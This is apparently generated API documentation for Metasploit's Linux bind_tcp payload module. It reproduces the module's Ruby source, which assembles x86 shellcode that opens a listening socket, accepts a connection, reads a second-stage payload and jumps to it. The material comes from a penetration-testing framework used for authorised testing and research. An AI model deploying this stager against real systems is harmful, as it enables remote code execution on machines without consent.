Module: Msf::Payload::Linux::BindTcp

Includes:
Msf::Payload::Linux, SendUUID, TransportConfig
Defined in:
lib/msf/core/payload/linux/bind_tcp.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from SendUUID

#asm_send_uuid

Methods included from Msf::Payload::Linux

#apply_prepends, #initialize

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_bind_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :reliable (Bool)

    Whether or not to enable error handling code


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 86

def asm_bind_tcp(opts={})

  #reliable     = opts[:reliable]
  af_inet = 2

  if use_ipv6
    af_inet = 0xa
  end

  encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first

  asm = %Q^
    bind_tcp:
      push 0x7d                     ; mprotect syscall
      pop eax
      cdq
      mov dl,0x7
      mov ecx,0x1000
      mov ebx,esp
      and bx,0xf000
      int 0x80                      ; invoke mprotect
      xor ebx,ebx
      mul ebx
      push ebx                      ; PROTO
      inc ebx                       ; SYS_SOCKET and SOCK_STREAM
      push ebx
      push #{af_inet}               ; SYS_BIND and AF_INET(6)
      mov ecx,esp
      mov al,0x66                   ; socketcall syscall
      int 0x80                      ; invoke socketcall (SYS_SOCKET)

      ; set the SO_REUSEADDR flag on the socket
      push ecx
      push 4
      push esp
      push 2
      push 1
      push eax
      xchg eax,edi                  ; stash the socket handle
      mov ecx, esp
      push 0xe                      ; SYS_SETSOCKOPT
      pop ebx
      push 0x66                     ; socketcall syscall
      pop eax
      int 0x80
      xchg eax,edi                  ; restore the socket handle
      add esp, 0x14
      pop ecx                       ; restore ecx

      pop ebx
      pop esi
  ^

  if use_ipv6
    asm << %Q^
      push 2
      pop ebx
      push edx
      push edx
      push edx
      push edx
      push edx
      push edx
      push #{encoded_port}
      mov ecx,esp
      push 0x1c
    ^
  else
    asm << %Q^
      push edx
      push #{encoded_port}
      push 0x10
    ^
  end

  asm << %Q^
      push ecx
      push eax
      mov ecx,esp
      push 0x66                     ; socketcall syscall
      pop eax
      int 0x80                      ; invoke socketcall (SYS_BIND)

      shl ebx,1                     ; SYS_LISTEN
      mov al,0x66                   ; socketcall syscall (SYS_LISTEN)
      int 0x80                      ; invoke socketcall

      push eax                      ; stash the listen socket
      inc ebx                       ; SYS_ACCEPT
      mov al,0x66                   ; socketcall syscall
      mov [ecx+0x4],edx
      int 0x80                      ; invoke socketcall (SYS_ACCEPT)
      xchg eax,ebx
  ^

  if include_send_uuid
    asm << %Q^
      mov edi, ebx
      #{asm_send_uuid}
    ^
  end

  asm << %Q^
      mov dh,0xc                    ; at least 0x0c00 bytes
      mov al,0x3                    ; read syscall
      int 0x80                      ; invoke read
      xchg ebx,edi                  ; stash the accept socket in edi
      pop ebx                       ; restore the listen socket
      mov al,0x6                    ; close syscall
      int 0x80                      ; invoke close
      jmp ecx                       ; jump to the payload
  ^

  asm
end

#generateObject

Generate the first stage


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 26

def generate
  conf = {
    port:     datastore['LPORT'],
    reliable: false
  }

  # Generate the more advanced stager if we have the space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_bind_tcp(conf)
end

#generate_bind_tcp(opts = {}) ⇒ Object

Generate and compile the stager


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 56

def generate_bind_tcp(opts={})
  asm = asm_bind_tcp(opts)
  Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 45

def include_send_uuid
  false
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 68

def required_space
  # Start with our cached default generated size
  space = cached_size

  # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
  # TODO: coming soon
  #space += 14

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 61

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6Object


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# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 49

def use_ipv6
  false
end